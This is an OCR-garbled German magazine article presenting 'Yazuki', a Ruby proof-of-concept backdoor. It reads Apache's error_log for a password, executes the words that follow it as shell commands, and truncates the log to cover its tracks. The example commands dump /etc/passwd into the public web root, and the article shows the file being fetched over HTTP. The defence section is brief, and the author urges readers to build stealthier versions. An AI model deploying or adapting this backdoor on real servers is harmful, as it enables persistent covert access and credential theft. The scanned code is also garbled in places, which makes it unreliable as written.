Angriff

Apache error_log

Backdoors

Marcell Dietl

Schwierigkeitsgrad
[ X )

etrachtet man die Geschichte der Back-
Bdoors und ihre Entwicklung in den vergan-

genen Jahren, zeigt sich, welch enorme
Komplexitat sich in dieser Zeit entwickelt hat. An-
fangs 6ffneten viele Hacker meist nur einen Lis-
tener Port mit Netcat oder einem ahnlichen Tool
und Ubergaben dann direkt Shell-Kommandos,
wie bei einer Shellsession. Solche Hintertlren
wurden meist schnell mithilfe eines administ-
rativen Programmes (etwa der netstat Befehl)
entdeckt und konnten schleunigst behoben wer-
den. Also griff man zu anderen Techniken oder
modifizierte die alte Technik. So 6ffnen manche
Backdoors Ports mit sehr hoher Nummer (High-
ports). Die heutigen Backdoors haben dabei, wie
schon die alten, eine deutliche Schwache: Sie
nutzen einen offenen Port zum Kommunizieren
mit der AuRenwelt. Zwar gibt es mittlerweile Root-
kits, welche zum Beispiel einen solchen Port in
der Ausgabe vor netstat verschleiern, doch auch
dagegen gibt es wieder Malinahmen. Ein ewiges
Hin und Her der Entwicklung von Hintertiiren und
Abwehrmalnahmen ist so entstanden. Betrach-
ten wir also nun eine komplett neue Méglichkeit
Kommandos an einen Server zu tUbergeben, oh-
ne einen Port 6ffnen zu missen. Stattdessen nut-
zen wir bereits offene Ports flir unsere Zwecke.
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(" Eine Backdoor wird immer dann eingesetzt, wenn man sich
die ergatterten Rechte auf einem gekaperten System erhalten
will. Dabei ist es vor allem das Ziel, dass diese nicht von dem
Administrator gefunden wird und meglichst unaufféllig ist. Viele
Backdoors scheitern genau an dieser H¢ rde, da sie zum Beispiel
auf einem speziyschen Port Kommandos entgegennehmen.

TCP und UDP Backdoors

Bevor wir zu dem Beispielcode kommen, sei
hier noch eine andere Mdglichkeit genannt, wie
Backdoors ohne eine Hintertlr realisiert werden
kénnen. So kann man TCP oder UDP Datenpa-
kete nutzen, um in diesen Kommandos zu ver-
senden. Das Ganze funktioniert auch ziemlich
gut, hat jedoch einen deutlichen Nachteil gegen-
Uber der spater vorgestellten Methode: Es ist

-
In diesem Artikel erfahren
Sieé
Wie man eine Backdoor méglichst unauffallig in
einer Scriptsprache gestaltet;
*  Wie man diese Backdoor mit Hilfe von Apache
realisieren kann;

Schwachen herkémmlicher Backdoors im Ver-
gleich zu dieser Technik.

Was Sie vorher wissen/kennen
solltené

* Fur die PoC Backdoor ist ein grundlegendes
Wissen in Ruby Programmierung von Vorteil.
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recht komplex und flr Personen, wel-  Strings suchen und sie extrahieren. Yazuki im Praxistest

che sich nicht tiefgreifender mit zum  Um dabei sicherzustellen, dass nurwir ~ Nehmen wir an, wir wollen die

Beispiel C-Socket-Programmierung  auf die Backdoor Zugriff haben, set- Passwortdatei auslesen und uns

beschaftigt haben, nicht umzusetzen.  zen wir am Anfang im Quellcode ein  zuganglich machen, indem wir sie
Passwort, an dem unser Programm im o&ffentlichen htdocs Verzeichnis

Die Theorie erkennt, dass es den darauffolgenden  abspeichern. Der Befehl dazu lautet

hinter Yazuki Text an die Shell Ubergeben soll. wie folgt:

Bevor wir uns dem eigentlichen

Pr.c'Jof-of-.Conc.ept . Code }Nldme.n, Listing 1. Ruby.Yazuki - Proof-of-Concept Code einer Apache Backdoor
mochte ich Sie hier erst einmal in
die Theorie hinter dieser Backdoor #1/usr/bin/env ruby
einflhren, welche den frei gewahlten i
N Y Ki traat # Name: Yazuki
amen vazuki tragt. # Author: SkyOut
i # Date: October 2007
Die error_log # Contact: skyout[-at-]smash-the-stack[-dot-]net
Datei von ApaChe # Website: http://www.smash-the-stack.net/
In der Standardeinstellung von Apa- A
h ichert der Web bei i # Used Ruby Version. 1.8.4
che speichert der We serv.er ei Jg- # Tested on: OpenBSD 4.1
dem fehlgeschlagenen Zugriff auf die
Webseite eine kurze Information dar- # This Proof-of-Concept code shows a simple backdoor
Uber in einer so genannten error_log # concept, that does not need any open port to execute
Datei. welche sich bei dem Testsys_tem # shell commands. Yazuki will search the error_log yle
’ L # of Apache every 5 seconds for a speciyed password and
(OpenBSD4:1)norm_alerwelseln/var/ # executes the given command, that can have up to yve
www/logs befindet. Ein fehlgeschlage- # arguments (for more, just edit line 41).
ner Zugriff bezeichnet in unserem Fall
einen Fehler des Types 404, welcher # Possible commands: (Make sure to always have yve arguments
bedeutet, dass die aufgerufene Datei # or edit line 41)
icht gefund d k te. G # less /etc/passwd > /var/www/htdocs/pw.txt ;
n!c gefunden werden Onr.] €. ena"u # Is -a /home > /var/www/htdocs/home.txt
dieses Verhalten werden wir uns spa-
ter zu Nutze machen. Betrachten wir # Start an indeynite loop
also was passiert, wenn wir auf eine x = 0
nicht existente Datei zugreifen. vhile < == 0)
# Deyne the error_log yle of Apache
[Sun Nov 18 13:37:00 2007] [error] error_log = "/var/ww/logs/error_log"
[client 127.0.0.1]
File does not exist: /htdocs/ # Open Apaches error_log yle
nonexistent if (File.yle?(error_log))
it (File.readable?(error_log))
. . . . . File.open("#{error_log}").each |line]|
Wie Sie sicherlich sehen, haben wir # Deyne the password
auf die Datei nonexistent zugegriffen, it line =~ /ourpassword/
welche nicht existiert. Dies I6ste den # Make an array of the error_log line
oben angezeigten Fehlerreport aus. array = line.split(” ");
# Take the 5 last arguments
command = array.fetch(13) + " " + array.fetch(14) + " " +
She”kommandos array.fetch(15) + " " + array.fetch(16) + " " + array.fetch(17)
g,bergeben # Execute the command
Doch wie koénnen wir uns dieses 10.popen("#{command}")
Verhalten zu Nutze machen? Ganz # Truncate the error_log yle again
. . L. . if (File.writable?(error_log))
einfach: Wir Ubergeben direkt She!l- File.truncate(error_log, 0)
kommandos an den Webserver in end
der URL. Das Ganze mag zu einfach end
klingen, doch es funktioniert. Logi-
scherweise wird keine Datei existie- de“d
- en
ren, welche unseren ubergebe.nen # Wait 5 seconds
Kommandos entspricht, was einen sleep 5
Fehler in der error _ 10og Datei auslost.
Unsere Backdoor wird nach dieser end
Zeile anhand eines vorher definierten /
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cat /etc/passwd > /var/www/htdocs/
passwd ;

Das schlieliende Semikolon ist nétig,
weil die Backdoor immer genau funf
Parameter entgegennimmt. Dies
lieBe sich natlrlich noch optimie-
ren, aber wir gehen hier von keinem
perfekten Code, sondern von einem
PoC aus. Schauen wir uns also nun
an, wie wir auf die Datei zugreifen:

http://127.0.0.1/ourpassword cat
/etc/passwd >
/var/www/htdocs/passwd ;

Dies hinterlasst dann in der error_log
Datei folgenden Eintrag:

[Sun Nov 18 13:37:00 2007]
[error] [client 127.0.0.1]
http://127.0.0.1/ourpassword cat

/etc/passwd >
/var/www/htdocs/passwd ;

Yazuki wird den String ourpassword,
welchen wir vorher im Code angege-
ben haben, erkennen und nun die
funf Argumente danach entgegen-
nehmen und an die Shell ibergeben.
Nun kénnen wir schlieRlich per HTTP
die passwd Datei abfragen:

http://127.0.0.1/passwd
root:*:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1:The devil
himself:/root:/sbin/nologin
operator:*:2:5:System
&:/operator:/sbhin/nologin
bin:*:3:7:Binaries Commands
and Source,,,:/:/sbin/nologin

[---1

Weitere M®glichkeiten

Natirlich sind der Gedankenvielfalt
hier keine Grenzen gesetzt. Sie
kdénnten die Argumentenanzahl ohne
Probleme erhdéhen oder sogar die
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Backdoor so umgestalten, dass es
keine Rolle mehr spielt, wie viele
Argumente Ubergeben werden. Auch
die Vielfalt an Kommandos, welche
Sie Ubergeben kdnnen ist schier
unbegrenzt. Jegliche Shellbefehle
sind hier denkbar. Probieren Sie es
einfach einmal aus!

AbwehrmaCnahmen

Da wir nun den Angriff betrachtet
haben, wollen wir auch einen kurzen
Blick auf die Abwehr einer solchen
Bedrohung werfen. Zuerst einmal
lasst sich sagen, dass man alle lau-
fenden Prozesse regelmafig uber-
prufen sollte, da die Backdoor hier
spatestens auffallen sollte. Weiterhin
lI6scht die Backdoor alle flinf Sekun-
den den Inhalt der error _10g Datei.
Es ware also denkbar regelmafig zu
Uberprufen, ob diese Datei von einem
Drittprogramm, aufer Apache, mani-
puliert wird. Doch schon wahrend des
Schreibens dieses Artikels fielen mir
weitere Moglichkeiten ein, wie man
auch dies wieder umgehen kdénnte,
aber dies mdchte ich nun lhnen Uber-
lassen. Die Grundlage haben Sie mit
diesem Artikel erhalten.

Fazit

Wie wir gesehen haben, Iasst sich
mit der Sprache Ruby binnen kir-
zester Zeit eine Backdoor gestalten,
welche aulder einem installierten und
laufenden Apache Webserver keine
weiteren Ports 6ffnen muss und
dennoch im Stande ist Befehle ent-
gegenzunehmen und diese mit den
Rechten der Backdoor auszufiihren.
Natirlich lasst sich ein solches Pro-
gramm in verschiedenen Sprachen
realisieren und gewiss auch noch un-
auffalliger programmieren. Probieren
Sie es einfach in lhrer Lieblingsspra-
che aus, wenn Sie experimentieren
mdchten.
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